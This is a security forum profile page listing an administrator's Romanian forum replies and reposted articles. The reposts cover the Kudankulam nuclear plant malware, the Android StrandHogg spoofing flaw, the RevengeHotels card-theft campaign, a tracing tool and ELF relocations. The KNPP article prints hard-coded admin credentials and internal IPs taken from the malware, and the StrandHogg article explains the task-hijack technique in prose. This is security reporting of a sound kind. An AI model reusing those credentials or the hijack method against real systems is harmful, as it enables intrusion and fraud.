Jump to content

Nytro

Administrators
  • Posts

    18731
  • Joined

  • Last visited

  • Days Won

    709

Everything posted by Nytro

  1. Nytro

    Tema RST

    Tema e verde de cand am dat drumul la forum, nu stiu, poate in timpul unui update sa se fi intamplat ceva.
  2. Nytro

    Tema RST

    Unde sa fie schimbata tema? Aici pe forum? Nu am mai facut modificari de ani de zile, poate dupa vreun update, nu am idee.
  3. Sugestia mea e sa ai grija cu un astfel de site, parca acum 2-3 ani ceva persoane au fost arestate (in Romania) din cauza unor site-uri cu acelasi profil.
  4. Salut, la McAfee in Romania (nu stiam ca au birouri aici)? Ce faci acolo, cum e?
  5. Nytro

    Fun stuff

    @aelius la doctor https://9gag.com/gag/aN0vL5r
  6. Salut, sunt multe firme la care poti apela pentru cursuri de programare. Nu stiu cum sunt, dar nu necesita mare lucru: 2-3 programatori cu cativa ani de experienta e de ajuns ca sa invete incepatorii bazele programarii. Problema, ca si la ce ai zis tu mai sus e simpla: dureaza un cacat de an! Sa fim seriosi, daca esti dedicat si stai minim cateva ore pe zi sa inveti si sa exersezi poti invata orice limbaj de programare la un nivel OK (totusi de incepator) dar sa te descruci sa faci un program cap-coada. La urma urmei, intr-o luna poti invata sa faci bombe nucleare. Sugestia mea e sa iei 1-2 carti pe domeniul pe care ti-l doresti si sa citesti tutoriale sau sa vezi video despre limbaj. Fie ca e Java, JavaScript, PHP, C++ sau orice altceva, nu e atat de greu cum pare, doar nu inveti araba, inveti un limbaj cu ceva cuvinte cheie si o anumita sintaxa. Daca nu stii ce vrei exact, cere aici pareri sa cauta singur. Daca vrei ceva ce se "cauta" sunt o gramada de statistici cu cele mai cautate limbaje de programare, dar sugestia mea e sa vezi foarte rapid cum sunt fiecare si sa alegi ce ti-ar placea mai mult.
  7. Nu stiu daca exista ceva doar pe networking. Cel mai probabil aceasta e o ramura din altele, gen Windows sau Linux (sysadmin). Probabil exista si job-uri mai dedicate, poate legate de switch-uri si root-ere Cisco de exemplu unde sunt carti intregi de documentatie, dar nu stiu cat se cauta.
  8. Eu zic ca merita si ajuta mult pe partea de "defence". E foarte utila in pozitii de SOC sau asemanatoare. Cred ca ar fi o adaugare buna la cunostiintele de networking/servere pe care le ai deja. CISSP incearca sa acopere cat mai mult si doar la suprafata, e utila pentru pozitii de management dar nu e chiar asa "hands-on".
  9. How a nuclear plant got hacked Plugging nuclear plants into the internet makes them vulnerable targets for nation-state attack. By J.M. Porup Senior Writer, CSO | DEC 9, 2019 3:00 AM PST Thinkstock If you think attacking civilian infrastructure is a war crime, you'd be right, but spies from countries around the world are fighting a silent, dirty war to pre-position themselves on civilian infrastructure — like energy-producing civilian nuclear plants — to be able to commit sabotage during a moment of geopolitical tension. What follows is an explanation of how India's Kudankulam Nuclear Power Plant (KNPP) got hacked — and how it could have been easily avoided. [ Learn what you need to know about defending critical infrastructure . | Get the latest from CSO by signing up for our newsletters. ] The KNPP hack The news came to light, as it so often does these days, on Twitter. Pukhraj Singh (@RungRage), a "noted cyber intelligence specialist" who was "instrumental in setting up of the cyber-warfare operations centre of the National Technical Research Organisation (NTRO)," according to The New Indian Express, tweeted: "So, it's public now. Domain controller-level access Kudankulam Nuclear Power Plant. The government was notified way back. Extremely mission-critical targets were hit," noting in a quote tweet that he was aware of the attack as early as September 7, 2019, calling it a "causus belli" (an attack sufficiently grave to provoke a war). [ Prepare to become a Certified Information Security Systems Professional with this comprehensive online course from PluralSight. Now offering a 10-day free trial! ] In a later tweet, Singh clarified that he did not discover the malware himself. A third party "contacted me & I notified National Cyber Security Coordinator on Sep 4 (date is crucial). The 3rd party then shared the IoCs with the NCSC's office over the proceeding days. Kaspersky reported it later, called it DTrack." At first the Nuclear Power Plant Corporation of India (NPCI) denied it. In a press release they decried "false information" on social media and insisted the KNPP nuclear power plant is "stand alone and not connected to outside cyber network and internet" and that "any cyber attack on the Nuclear Power Plant Control System is not possible." Then they backtracked. On October 30, the NPCI confirmed that malware was in fact discovered on their systems, and that CERT-India first noticed the attack on September 4, 2019. In their statement, they claimed the infected PC was connected to the administrative network, which they say is "isolated from the critical internal network." "Investigation also confirms that the plant systems are not affected," their statement concludes. A targeted attack Contrary to some initial reporting, the malware appears to have been targeted specifically at the KNPP facility, according to researchers at CyberBit. Reverse-engineering of the malware sample revealed hard-coded administrator credentials for KNPP's networks (username: /user:KKNPP\\administrator password: su.controller5kk) as well as RFC 1918 IP addresses (172.22.22.156, 10.2.114.1, 172.22.22.5, 10.2.4.1, 10.38.1.35), which are by definition not internet-routable. That means it is highly likely the attacker previously broke into KNPP networks, scanned for NAT'ed devices, stole admin credentials, and then incorporated those details into this new malware, a second-stage payload designed for deeper and more thorough reconnaissance of KNPP's networks. "This was a very targeted attack on just this plant," Hod Gavriel, a malware analyst at CyberBit, tells CSO. "Probably this was the second stage of an attack." The malware discovered, however, did not include Stuxnet-like functionality to destroy any of KNPP's systems. "This phase was only for collection of information, it wasn't sabotageware," Gavriel says. Was North Korea responsible? Numerous security researchers downloaded and analyzed the malware from VirusTotal, and many noted the code similarities with malware previously attributed to North Korea's Lazarus group. A Kaspersky analyst noted similarities dating back to 2013, writing "The vast amount of Dtrack samples that we were able to find shows that the Lazarus group is one of the most active APT groups in terms of malware development." However, given that North Korea has little geopolitical interest in India, the possibility of a false flag operating using stolen North Korean code to muddle attribution seems quite likely. Analysis of the malware The malware hid inside of modified copies of legitimate programs, such as 7Zip or VNC. This technique often successfully escapes notice by antivirus scanners. Adequate checking of program signatures would have mitigated this attack vector; the modified program hash would have differed from the software vendor's signed hash. The fact that this attack was successful strongly suggests that KNPP was not checking software signatures of file hashes. Passively detecting this kind of attack is very difficult, Gavriel notes. "Effective detection of this type of highly targeted malware is likely to generate false-positives that requires skilled analysts." Targeted critical infrastructure security teams need to engage in constant network monitoring for suspicious activity to hunt threats and root them out before they can do any damage. Sursa: https://www.csoonline.com/article/3488816/how-a-nuclear-plant-got-hacked.html
  10. Vulnerability in fully patched Android phones under active attack by bank thieves "StrandHogg" spoofing flaw exploited by 36 apps, including bank trojans. Dan Goodin - 12/2/2019, 11:10 PM A vulnerability in millions of fully patched Android phones is being actively exploited by malware that's designed to drain the bank accounts of infected users, researchers said on Monday. The vulnerability allows malicious apps to masquerade as legitimate apps that targets have already installed and come to trust, researchers from security firm Promon reported in a post. Running under the guise of trusted apps already installed, the malicious apps can then request permissions to carry out sensitive tasks, such as recording audio or video, taking photos, reading text messages or phishing login credentials. Targets who click yes to the request are then compromised. Researchers with Lookout, a mobile security provider and a Promon partner, reported last week that they found 36 apps exploiting the spoofing vulnerability. The malicious apps included variants of the BankBot banking trojan. BankBot has been active since 2017, and apps from the malware family have been caught repeatedly infiltrating the Google Play Market. The vulnerability is most serious in versions 6 through 10, which (according to Statista) account for about 80% of Android phones worldwide. Attacks against those versions allow malicious apps to ask for permissions while posing as legitimate apps. There's no limit to the permissions these malicious apps can seek. Access to text messages, photos, the microphone, camera, and GPS are some of the permissions that are possible. A user's only defense is to click "no" to the requests. An affinity for multitasking The vulnerability is found in a function known as TaskAffinity, a multitasking feature that allows apps to assume the identity of other apps or tasks running in the multitasking environment. Malicious apps can exploit this functionality by setting the TaskAffinity for one or more of its activities to match a package name of a trusted third-party app. By either combining the spoofed activity with an additional allowTaskReparenting activity or launching the malicious activity with an Intent.FLAG_ACTIVITY_NEW_TASK, the malicious apps will be placed inside and on top of the targeted task. "Thus the malicious activity hijacks the target's task," Promon researchers wrote. "The next time the target app is launched from Launcher, the hijacked task will be brought to the front and the malicious activity will be visible. The malicious app then only needs to appear like the target app to successfully launch sophisticated attacks against the user. It is possible to hijack such a task before the target app has even been installed." Promon said Google has removed malicious apps from its Play Market, but, so far, the vulnerability appears to be unfixed in all versions of Android. Promon is calling the vulnerability "StrandHogg," an old Norse term for the Viking tactic of raiding coastal areas to plunder and hold people for ransom. Neither Promon nor Lookout identified the names of the malicious apps. That omission makes it hard for people to know if they are or were infected. Google representatives didn't respond to questions about when the flaw will be patched, how many Google Play apps were caught exploiting it, or how many end users were affected. The representatives wrote only: "We appreciate the researchers['] work, and have suspended the potentially harmful apps they identified. Google Play Protect detects and blocks malicious apps, including ones using this technique. Additionally, we're continuing to investigate in order to improve Google Play Protect's ability to protect users against similar issues." StrandHogg represents the biggest threat to less-experienced users or those who have cognitive or other types of impairments that make it hard to pay close attention to subtle behaviors of apps. Still, there are several things alert users can do to detect malicious apps that attempt to exploit the vulnerability. Suspicious signs include: An app or service that you're already logged into is asking for a login. Permission popups that don't contain an app name. Permissions asked from an app that shouldn't require or need the permissions it asks for. For example, a calculator app asking for GPS permission. Typos and mistakes in the user interface. Buttons and links in the user interface that do nothing when clicked on. Back button does not work as expected. Tip-off from a Czech bank Promon researchers said they identified StrandHogg after learning from an unnamed Eastern European security company for financial institutions that several banks in the Czech Republic reported money disappearing from customer accounts. The partner gave Promon a sample of suspected malware. Promon eventually found that the malware was exploiting the vulnerability. Promon partner Lookout later identified the 36 apps exploiting the vulnerability, including BankBot variants. Monday's post didn't say how many financial institutions were targeted in total. The malware sample Promon analyzed was installed through several droppers apps and downloaders distributed on Google Play. While Google has removed them, it's not uncommon for new malicious apps to make their way into the Google-operated service. Readers are once again reminded to be highly suspicious of Android apps available both in and outside of Google Play. People should also pay close attention to permissions requested by any app. Dan Goodin Dan is the Security Editor at Ars Technica, which he joined in 2012 after working for The Register, the Associated Press, Bloomberg News, and other publications. Email dan.goodin@arstechnica.com // Twitter @dangoodin001 Sursa: https://arstechnica.com/information-technology/2019/12/vulnerability-in-fully-patched-android-phones-under-active-attack-by-bank-thieves/
  11. Cum ți se fură banii din cont când plătești cu cardul la hotel Ciprian Ioana 17:55 29.11.2019 Fie că alegi să te cazezi pentru o vacanță sau o călătorie în interes de serviciu, alegi, de cele mai multe ori, să plătești cu cardul la hotel. Problema e că stocarea acestor date nu e atât de sigură. Specialiștii Kaspersky au analizat campania RevengeHotels, care vizează industria ospitalității, pentru a vedea ce se întâmplă cu datele bancare ale turiștilor. Odată ce acestea au intrat în baza de date a hotelurilor, lucrurile se complică. Așa s-a ajuns la concluzia că peste 20 de hoteluri din America Latină, Europa și Asia au căzut victime ale unor atacuri malware direcționate. Este posibil ca un număr mai mare de hoteluri să fie afectate pe tot tot globul. Datele cardurilor turiștilor, stocate într-un sistem de administrare hotelieră, inclusiv cele primite de la agenții online de turism (OTA), riscă să fie furate și vândute infractorilor din întreaga lume. Ceea ce ar trebui să-ți dea de gândit. Iată cum arată harta atacurilor de acest fel, potrivit Kaspersky. Cum îți fură hackerii banii din cont atunci când te cazezi la hotel Specialiștii explică mecanismul prin care datele tale bancare ajung pe mâinile hackerilor: RevengeHotels este o campanie a diferite grupuri care utilizează troieni tradiționali cu acces de la distanță (denumiți RAT) pentru a infecta companiile din sectorul ospitalității. Campania este activă din 2015, dar a început să-și mărească prezența în 2019. Cel puțin două grupuri, RevengeHotels și ProCC, au fost identificate ca făcând parte din campanie, cu toate că există posibilitatea ca mai multe grupuri de infractori cibernetici să fi pus umărul la așa ceva. Principalul vector de atac din această campanie este reprezentat de e-mail-uri cu documente infectate – Word, Excel sau PDF. Unele dintre ele exploatează vulnerabilitatea CVE-2017-0199, încărcând-o cu ajutorul script-urilor VBS și PowerShell și apoi instalează versiuni personalizate ale diferitelor RAT-uri, precum și alte programe malware personalizate, cum ar fi ProCC, pe dispozitivul victimei, care ulterior ar putea executa comenzi și configura accesul de la distanță la sistemele infectate. Tehnica e cunoscută sub numele de email spear-phishing și a fost elaborată cu o atenție deosebită asupra detaliilor și, de obicei, pretinde a veni din partea unor persoane reale din organizații legitime, făcând o cerere de rezervare falsă pentru un grup numeros. De remarcat este faptul că inclusiv utilizatorii atenți ar putea fi păcăliți să deschidă și să descarce anexele din aceste e-mailuri, deoarece includ o mulțime de detalii (de exemplu, copii ale documentelor legale și motivația pentru care fac rezervarea la hotel) și arată convingător. Singurul detaliu care l-ar da de gol pe atacator ar fi un domeniu de typosquatting al organizației. Ce se întâmplă apoi cu datele bancare Odată infectat, computerul putea fi accesat de la distanță nu doar de grupul de infractori cibernetici. Dovezile colectate de cercetătorii Kaspersky arată că accesul de la distanță la recepțiile hotelurilor și la datele pe care le conțin sunt vândute pe forumuri ilegale, pe bază de abonament. Programele malware au colectat date din fișele hotelurilor, din programele de imprimantă și au făcut capturi de ecran (această funcție a fost declanșată folosind anumite cuvinte în engleză sau portugheză). Deoarece personalul hotelului a copiat de multe ori datele cardului de credit ale clienților din OTA pentru a factura, aceste date ar putea fi, de asemenea, compromise. Telemetria Kaspersky a confirmat existența unor ținte în Argentina, Bolivia, Brazilia, Chile, Costa Rica, Franța, Italia, Mexic, Portugalia, Spania, Thailanda și Turcia. Multe dintre aceste destinații sunt des frecventate de români. În plus, pe baza datelor extrase din Bit.ly, un serviciu popular de scurtare a link-urilor, utilizat de atacatori pentru a răspândi link-uri periculoase, cercetătorii Kaspersky presupun că utilizatorii din multe alte țări au accesat, cel puțin, link-ul periculos, sugerând că numărul de țări cu posibile victime ar putea fi mai mare. Cum te ferești de astfel de atacuri Specialiștii vin și cu câteva sfaturi pentru ca turiștii să se ferească de astfel de situații: – Atunci când plătești o rezervare sau faci heck out la recepția hotelului, ar fi bine să utilizezi un portofel virtual, cum ar fi Apple Pay sau Google Pay, sau un card de credit secundar, cu o sumă limitată de bani disponibili. De asemenea, proprietarii și managerii de hoteluri trebuie să urmeze acești pași pentru a securiza datele clienților: – Efectuați evaluări de risc ale rețelei existente și implementați reglementări privind modul în care sunt gestionate datele clienților. – Utilizați o soluție de securitate fiabilă, cu funcții de protecție web și controlul aplicațiilor. Protecția web ajută la blocarea accesului la site-urile de phishing și la cele infectate, în timp ce controlul aplicațiilor (în modul „white list”) vă permite să vă asigurați că nicio aplicație, cu excepția celor aprobate, nu poate rula pe computerele din hoteluri. – Introduceți training-uri de awareness în domeniul securității cibernetice, pentru personal, cu scopul de a-i învăța pe angajați să detecteze tentativele de spear-phishing și să le arate importanța de a rămâne foarte atenți atunci când lucrează cu e-mail-urile primite. Sursa: https://playtech.ro/2019/cum-ti-se-fura-banii-din-cont-cand-platesti-cu-cardul-la-hotel/
  12. Nytro

    tiny_tracer

    Un fel, nu prinde system call-urile ci API-urile. Cu interfata grafica mai e si API Monitor de la Rohitab sau Process Monitor de la Sysinternal dar functioneaza diferit.
  13. GG! Link sters, prost banat.
  14. Nu am testat desi imi place mult. In principiu da, dar in anumite conditii nu e necesar: https://frida.re/docs/android/
  15. tiny_tracer A Pin Tool for tracing: API calls transition between sections of the traced module (helpful in finding OEP of the packed module) Generates a report in a format: RVA;traced event i.e. 345c2;section: .text 58069;called: C:\Windows\SysWOW64\kernel32.dll.IsProcessorFeaturePresent 3976d;called: C:\Windows\SysWOW64\kernel32.dll.LoadLibraryExW 3983c;called: C:\Windows\SysWOW64\kernel32.dll.GetProcAddress 3999d;called: C:\Windows\SysWOW64\KernelBase.dll.InitializeCriticalSectionEx 398ac;called: C:\Windows\SysWOW64\KernelBase.dll.FlsAlloc 3995d;called: C:\Windows\SysWOW64\KernelBase.dll.FlsSetValue 49275;called: C:\Windows\SysWOW64\kernel32.dll.LoadLibraryExW 4934b;called: C:\Windows\SysWOW64\kernel32.dll.GetProcAddress ... How to build? To compile the prepared project you need to use Visual Studio >= 2012. It was tested with Intel Pin 3.7 and Pin 3.10. Clone this repo into \source\tools that is inside your Pin root directory. Open the project in Visual Studio and build. More details about the installation and usage you will find on the project's Wiki. Sursa: https://github.com/hasherezade/tiny_tracer
  16. ELF Binaries and Relocation Entries 29 Nov 2019 Recently I have been working on getting the OpenRISC glibc port ready for upstreaming. Part of this work has been to run the glibc testsuite and get the tests to pass. The glibc testsuite has a comprehensive set of linker and runtime relocation tests. In order to fix issues with tests I had to learn more than I did before about ELF Relocations , Thread Local Storage and the binutils linker implementation in BFD. There is a lot of documentation available, but it’s a bit hard to follow as it assumes certain knowledge, for example have a look at the Solaris Linker and Libraries section on relocations. In this article I will try to fill in those gaps. This will be an illustrated 3 part series covering ELF Binaries and Relocation Entries Thread Local Storage How Relocations and Thread Local Store are implemented All of the examples in this article can be found in my tls-examples project. Please check it out. On Linux, you can download it and make it with your favorite toolchain. By default it will cross compile using an openrisc toolchain. This can be overridden with the CROSS_COMPILE variable. For example, to build for your current host. $ git clone git@github.com:stffrdhrn/tls-examples.git $ make CROSS_COMPILE= gcc -fpic -c -o tls-gd-dynamic.o tls-gd.c -Wall -O2 -g gcc -fpic -c -o nontls-dynamic.o nontls.c -Wall -O2 -g ... objdump -dr x-static.o > x-static.S objdump -dr xy-static.o > xy-static.S Now we can get started. ELF Segments and Sections Before we can talk about relocations we need to talk a bit about what makes up ELF binaries. This is a prerequisite as relocations and TLS are part of ELF binaries. There are a few basic ELF binary types: Objects (.o) - produced by a compiler, contains a collection of sections, also call relocatable files. Program - an executable program, contains sections grouped into segments. Shared Objects (.so) - a program library, contains sections grouped into segments. Core Files - core dump of program memory, these are also ELF binaries Here we will discuss Object Files and Program Files. An ELF Object The compiler generates object files, these contain sections of binary data and these are not executable. The object file produced by gcc generally contains .rela.text, .text, .data and .bss sections. .rela.text - a list of relocations against the .text section .text - contains compiled program machine code .data - static and non static initialized variable values .bss - static and non static non-initialized variables An ELF Program ELF binaries are made of sections and segments. A segment contains a group of sections and the segment defines how the data should be loaded into memory for program execution. Each segment is mapped to program memory by the kernel when a process is created. Program files contain most of the same sections as objects but there are some differences. .text - contains executable program code, there is no .rela.text section .got - the global offset table used to access variables, created during link time. May be populated during runtime. Looking at ELF binaries (readelf) The readelf tool can help inspect elf binaries. Some examples: Reading Sections of an Object File Using the -S option we can read sections from an elf file. As we can see below we have the .text, .rela.text, .bss and many other sections. $ readelf -S tls-le-static.o There are 20 section headers, starting at offset 0x604: Section Headers: [Nr] Name Type Addr Off Size ES Flg Lk Inf Al [ 0] NULL 00000000 000000 000000 00 0 0 0 [ 1] .text PROGBITS 00000000 000034 000020 00 AX 0 0 4 [ 2] .rela.text RELA 00000000 0003f8 000030 0c I 17 1 4 [ 3] .data PROGBITS 00000000 000054 000000 00 WA 0 0 1 [ 4] .bss NOBITS 00000000 000054 000000 00 WA 0 0 1 [ 5] .tbss NOBITS 00000000 000054 000004 00 WAT 0 0 4 [ 6] .debug_info PROGBITS 00000000 000054 000074 00 0 0 1 [ 7] .rela.debug_info RELA 00000000 000428 000084 0c I 17 6 4 [ 8] .debug_abbrev PROGBITS 00000000 0000c8 00007c 00 0 0 1 [ 9] .debug_aranges PROGBITS 00000000 000144 000020 00 0 0 1 [10] .rela.debug_arang RELA 00000000 0004ac 000018 0c I 17 9 4 [11] .debug_line PROGBITS 00000000 000164 000087 00 0 0 1 [12] .rela.debug_line RELA 00000000 0004c4 00006c 0c I 17 11 4 [13] .debug_str PROGBITS 00000000 0001eb 00007a 01 MS 0 0 1 [14] .comment PROGBITS 00000000 000265 00002b 01 MS 0 0 1 [15] .debug_frame PROGBITS 00000000 000290 000030 00 0 0 4 [16] .rela.debug_frame RELA 00000000 000530 000030 0c I 17 15 4 [17] .symtab SYMTAB 00000000 0002c0 000110 10 18 15 4 [18] .strtab STRTAB 00000000 0003d0 000025 00 0 0 1 [19] .shstrtab STRTAB 00000000 000560 0000a1 00 0 0 1 Reading Sections of a Program File Using the -S option on a program file we can also read the sections. The file type does not matter as long as it is an ELF we can read the sections. As we can see below there is no longer a rela.text section, but we have others including the .got section. $ readelf -S tls-le-static There are 31 section headers, starting at offset 0x32e8fc: Section Headers: [Nr] Name Type Addr Off Size ES Flg Lk Inf Al [ 0] NULL 00000000 000000 000000 00 0 0 0 [ 1] .text PROGBITS 000020d4 0000d4 080304 00 AX 0 0 4 [ 2] __libc_freeres_fn PROGBITS 000823d8 0803d8 001118 00 AX 0 0 4 [ 3] .rodata PROGBITS 000834f0 0814f0 01544c 00 A 0 0 4 [ 4] __libc_subfreeres PROGBITS 0009893c 09693c 000024 00 A 0 0 4 [ 5] __libc_IO_vtables PROGBITS 00098960 096960 0002f4 00 A 0 0 4 [ 6] __libc_atexit PROGBITS 00098c54 096c54 000004 00 A 0 0 4 [ 7] .eh_frame PROGBITS 00098c58 096c58 0027a8 00 A 0 0 4 [ 8] .gcc_except_table PROGBITS 0009b400 099400 000089 00 A 0 0 1 [ 9] .note.ABI-tag NOTE 0009b48c 09948c 000020 00 A 0 0 4 [10] .tdata PROGBITS 0009dc28 099c28 000010 00 WAT 0 0 4 [11] .tbss NOBITS 0009dc38 099c38 000024 00 WAT 0 0 4 [12] .init_array INIT_ARRAY 0009dc38 099c38 000004 04 WA 0 0 4 [13] .fini_array FINI_ARRAY 0009dc3c 099c3c 000008 04 WA 0 0 4 [14] .data.rel.ro PROGBITS 0009dc44 099c44 0003bc 00 WA 0 0 4 [15] .data PROGBITS 0009e000 09a000 000de0 00 WA 0 0 4 [16] .got PROGBITS 0009ede0 09ade0 000064 04 WA 0 0 4 [17] .bss NOBITS 0009ee44 09ae44 000bec 00 WA 0 0 4 [18] __libc_freeres_pt NOBITS 0009fa30 09ae44 000014 00 WA 0 0 4 [19] .comment PROGBITS 00000000 09ae44 00002a 01 MS 0 0 1 [20] .debug_aranges PROGBITS 00000000 09ae6e 002300 00 0 0 1 [21] .debug_info PROGBITS 00000000 09d16e 0fd048 00 0 0 1 [22] .debug_abbrev PROGBITS 00000000 19a1b6 0270ca 00 0 0 1 [23] .debug_line PROGBITS 00000000 1c1280 0ce95c 00 0 0 1 [24] .debug_frame PROGBITS 00000000 28fbdc 0063bc 00 0 0 4 [25] .debug_str PROGBITS 00000000 295f98 011e35 01 MS 0 0 1 [26] .debug_loc PROGBITS 00000000 2a7dcd 06c437 00 0 0 1 [27] .debug_ranges PROGBITS 00000000 314204 00c900 00 0 0 1 [28] .symtab SYMTAB 00000000 320b04 0075d0 10 29 926 4 [29] .strtab STRTAB 00000000 3280d4 0066ca 00 0 0 1 [30] .shstrtab STRTAB 00000000 32e79e 00015c 00 0 0 1 Key to Flags: W (write), A (alloc), X (execute), M (merge), S (strings), I (info), L (link order), O (extra OS processing required), G (group), T (TLS), C (compressed), x (unknown), o (OS specific), E (exclude), p (processor specific) Reading Segments from a Program File Using the -l option on a program file we can read the segments. Notice how segments map from file offsets to memory offsets and alignment. The two different LOAD type segments are segregated by read only/execute and read/write. Each section is also mapped to a segment here. As we can see .text is in the first LOAD` segment which is executable as expected. $ readelf -l tls-le-static Elf file type is EXEC (Executable file) Entry point 0x2104 There are 5 program headers, starting at offset 52 Program Headers: Type Offset VirtAddr PhysAddr FileSiz MemSiz Flg Align LOAD 0x000000 0x00002000 0x00002000 0x994ac 0x994ac R E 0x2000 LOAD 0x099c28 0x0009dc28 0x0009dc28 0x0121c 0x01e1c RW 0x2000 NOTE 0x09948c 0x0009b48c 0x0009b48c 0x00020 0x00020 R 0x4 TLS 0x099c28 0x0009dc28 0x0009dc28 0x00010 0x00034 R 0x4 GNU_RELRO 0x099c28 0x0009dc28 0x0009dc28 0x003d8 0x003d8 R 0x1 Section to Segment mapping: Segment Sections... 00 .text __libc_freeres_fn .rodata __libc_subfreeres __libc_IO_vtables __libc_atexit .eh_frame .gcc_except_table .note.ABI-tag 01 .tdata .init_array .fini_array .data.rel.ro .data .got .bss __libc_freeres_ptrs 02 .note.ABI-tag 03 .tdata .tbss 04 .tdata .init_array .fini_array .data.rel.ro Reading Segments from an Object File Using the -l option with an object file does not work as we can see below. readelf -l tls-le-static.o There are no program headers in this file. Relocation entries As mentioned an object file by itself is not executable. The main reason is that there are no program headers as we just saw. Another reason is that the .text section still contains relocation entries (or placeholders) for the addresses of variables located in the .data and .bss sections. These placeholders will just be 0 in the machine code. So, if we tried to run the machine code in an object file we would end up with Segmentation faults (SEGV). A relocation entry is a placeholder that is added by the compiler or linker when producing ELF binaries. The relocation entries are to be filled in with addresses pointing to data. Relocation entries can be made in code such as the .text section or in data sections like the .got section. For example: Resolving Relocations The diagram above shows relocation entries as white circles. Relocation entries may be filled or resolved at link-time or dynamically during execution. Link time relocations Place holders are filled in when ELF object files are linked by the linker to create executables or libraries For example, relocation entries in .text sections Dynamic relocations Place holders is filled during runtime by the dynamic linker. i.e. Procedure Link Table For example, relocation entries added to .got and .plt sections which link to shared objects. Note: Statically built binaries do not have any dynamic relocations and are not loaded with the dynamic linker. In general link time relocations are used to fill in relocation entries in code. Dynamic relocations fill in relocation entries in data sections. Listing Relocation Entries A list of relocations in a ELF binary can printed using readelf with the -r options. Output of readelf -r tls-gd-dynamic.o Relocation section '.rela.text' at offset 0x530 contains 10 entries: Offset Info Type Sym.Value Sym. Name + Addend 00000000 00000f16 R_OR1K_TLS_GD_HI1 00000000 x + 0 00000008 00000f17 R_OR1K_TLS_GD_LO1 00000000 x + 0 00000020 0000100c R_OR1K_GOTPC_HI16 00000000 _GLOBAL_OFFSET_TABLE_ - 4 00000024 0000100d R_OR1K_GOTPC_LO16 00000000 _GLOBAL_OFFSET_TABLE_ + 0 0000002c 00000d0f R_OR1K_PLT26 00000000 __tls_get_addr + 0 ... The relocation entry list explains how to and where to apply the relocation entry. It contains: Offset - the location in the binary that needs to be updated Info - the encoded value containing the Type, Sym and Addend, which is broken down to: Type - the type of relocation (the formula for what is to be performed is defined in the linker) Sym. Value - the address value (if known) of the symbol. Sym. Name - the name of the symbol (variable name) that this relocation needs to find during link time. Addend - a value that needs to be added to the derived symbol address. This is used to with arrays (i.e. for a relocation referencing a[14] we would have Sym. Name a and an Addend of the data size of a times 14) Example File: nontls.c In the example below we have a simple variable and a function to access it’s address. static int x; int* get_x_addr() { return &x; } Let’s see what happens when we compile this source. The steps to compile and link can be found in the tls-examples project hosting the source examples. Before Linking The diagram above shows relocations in the resulting object file as white circles. In the actual output below we can see that access to the variable x is referenced by a literal 0 in each instruction. These are highlighted with square brackets [] below for clarity. These empty parts of the .text section are relocation entries. Addr. Machine Code Assembly Relocations 0000000c <get_x_addr>: c: 19 60 [00 00] l.movhi r11,[0] # c R_OR1K_AHI16 .bss 10: 44 00 48 00 l.jr r9 14: 9d 6b [00 00] l.addi r11,r11,[0] # 14 R_OR1K_LO_16_IN_INSN .bss The function get_x_addr will return the address of variable x. We can look at the assembly instruction to understand how this is done. Some background of the OpenRISC ABI. Registers are 32-bit. Function return values are placed in register r11. To return from a function we jump to the address in the link register r9. OpenRISC has a branch delay slot, meaning the address after a branch it executed before the branch is taken. Now, lets break down the assembly: l.movhi - move the value [0] into high bits of register r11, clearing the lower bits. l.addi - add the value in register r11 to the value [0] and store the results in r11. l.jr - jump to the address in r9 This constructs a 32-bit value out of 2 16-bit values. After Linking The diagram above shows the relocations have been replaced with actual values. As we can see from the linker output the places in the machine code that had relocation place holders are now replaced with values. For example 1a 20 00 00 has become 1a 20 00 0a. 00002298 <get_x_addr>: 2298: 19 60 00 0a l.movhi r11,0xa 229c: 44 00 48 00 l.jr r9 22a0: 9d 6b ee 60 l.addi r11,r11,-4512 If we calculate 0xa << 16 + -4512 (fee60) we see get 0009ee60. That is the same location of x within our binary. This we can check with readelf -s which lists all symbols. $ readelf -s nontls-static | grep ' x' 42: 0009ee60 4 OBJECT LOCAL DEFAULT 17 x Types of Relocations As we saw above, a simple program resulted in 2 different relocation entries just to compose the address of 1 variable. We saw: R_OR1K_AHI16 R_OR1K_LO_16_IN_INSN The need for different relation types comes from the different requirements for the relocation. Processing of a relocation involves usually a very simple transform , each relocation defines a different transform. The components of the relocation definition are: Input The input of a relocation formula is always the Symbol Address who’s absolute value is unknown at compile time. But there may also be other input variables to the formula including: Program Counter The absolute address of the machine code address being updated Addend The addend available in from the relocation entry discussed above Formula How the input is manipulated to derive the output value. For example shift right 16 bits. Bit-Field Specifies which bits at the output address need to be updated. To be more specific about the above relocations we have: Relocation Type Bit-Field Formula R_OR1K_AHI16 simm16 S >> 16 R_OR1K_LO_16_IN_INSN simm16 S && 0xffff The Bit-Field described above is simm16 which means update the lower 16-bits of the 32-bit value at the output offset and do not disturb the upper 16-bits. +----------+----------+ | | simm16 | | 31 16 | 15 0 | +----------+----------+ There are many other Relocation Types with difference Bit-Fields and Formulas. These use different methods based on what each instruction does, and where each instruction encodes its immediate value. For full listings refer to architecture manuals. Linkers and Libraries - Oracle’s documentation on Intel and Sparc relocations Binutils OpenRISC Relocs - Binutil Manual containing details on OpenRISC relocations ELF for ARM[pdf] - ARM Relocation Types table on page 25 Take a look and see if you can understand how to read these now. Summary In this article we have discussed what ELF binaries are and how they can be read. We have talked about how from compilation to linking to runtime, relocation entries are used to communicate which parts of a program remain to be resolved. We then discussed how relocation types provide a formula and bit-mask for updating the places in ELF binaries that need to be filled in. In the next article we will discuss how Thread Local Storage works, both link-time and runtime relocation entries play big part in how TLS works. Further Reading Bottums Up - Dynamic Linker - Details on the Dynamic Linker, Relocations and Position Independent Code GOT and PLT Key to Code Sharing - Good overview of the .got and .plt sections Sursa: http://stffrdhrn.github.io/hardware/embedded/openrisc/2019/11/29/relocs.html
